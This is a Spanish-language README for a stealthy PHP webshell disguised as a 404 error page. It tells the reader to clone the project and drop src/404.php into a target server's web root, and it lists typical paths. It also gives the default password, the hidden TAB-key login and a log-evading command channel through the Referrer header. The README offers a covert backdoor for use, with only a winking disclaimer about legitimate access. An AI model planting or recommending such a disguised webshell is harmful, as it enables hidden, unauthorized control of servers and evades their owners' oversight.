
Webshell PHP sigilosa disfrazada como página de error 404 con consola AJAX, ejecución oculta de comandos mediante la cabecera Referrer y acciones preconfiguradas para acceso remoto al servidor.
Clona o descarga el proyecto:
git clone --depth=1 https://github.com/CosasDePuma/SecurityNotFound.git
El archivo src/404.php debe ubicarse en el servidor objetivo y debe tener la capacidad de ejecutar archivos .php.
Aquí hay un ejemplo de algunas de las rutas más comunes en las que se encuentran los servidores:
# 🏁 Windows
C:\Xampp\htdocs\ # Xampp
# 🐧 Linux
/var/www/html/ # Apache
/usr/share/nginx/html/ # Nginx
👮 Obviamente, tú y yo sabemos que tienes acceso legítimo a ese servidor.
Ahora, puedes acceder a través del navegador:
https://www.example.com/404.php

💡 Puedes reemplazar la plantilla de error 404 del servidor para acceder desde cualquier URL inválida.
Para acceder al panel de control, presiona la tecla TAB o busca el campo de contraseña usando las herramientas de tu navegador:

La contraseña por defecto es: cosasdepuma.
🥚 Puedes dejar la variable
$passphraseen el script como una cadena vacía para acceder directamente al panel de control.
🔒 Para establecer un valor personalizado, inserta tu contraseña en la variable
$passphrasedespués de aplicar el algoritmoMD5tres veces consecutivas.
Una vez iniciada la sesión, la webshell mostrará su apariencia real:
El panel cuenta con una consola AJAX y una serie de acciones preconfiguradas:
| Nombre | Descripción |
|---|---|
| PHP Info | Muestra la página phpinfo();. |
| Geolocalizar | Muestra en Google Maps el lugar donde se encuentra físicamente el servidor. |
| Exploit-DB (...) | Busca exploits compatibles en exploit-db.com. |
| Cerrar sesión | Sale del panel. |
Cabe destacar que la ejecución de comandos se realiza utilizando la cabecera "Referrer", siendo su contenido el payload ejecutado.
Esto tiene dos ventajas: mayor sigilo dentro del archivo de registro y la capacidad de ejecutar comandos sin necesidad de acceder a la interfaz web.
172.18.0.1 - - [25/Jul/2022:04:52:17 +0000] "GET /404.php HTTP/1.1" 404 771 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:21 +0000] "POST /404.php HTTP/1.1" 404 3560 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:27 +0000] "GET /404.php HTTP/1.1" 404 375 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:31 +0000] "GET /404.php HTTP/1.1" 404 470 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:37 +0000] "GET /404.php?p HTTP/1.1" 404 75790 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:41 +0000] "GET /404.php HTTP/1.1" 404 3560 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:43 +0000] "GET /404.php?c HTTP/1.1" 302 373 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
172.18.0.1 - - [25/Jul/2022:04:52:43 +0000] "GET /404.php HTTP/1.1" 404 771 "http://localhost/404.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
# de líneas en access.log | Acción |
|---|---|
| 1 | Acceso sin iniciar sesión |
| 1 | Acceso con la sesión ya iniciada |
| 1 | Iniciar sesión |
| 2 | Cerrar sesión |
| 1 | Ejecutar un comando a través de la consola |
| 1 | Plugin: PHP Info |
| 0 | Plugin: Geolocalizar |
| 0 | Plugin: Exploit-DB (...) |
Todo lo que hago y publico puede ser utilizado de forma gratuita siempre que reciba el mérito correspondiente.
De todos modos, si quieres ayudarme de una manera más directa, puedes dejarme una propina haciendo clic en esta insignia: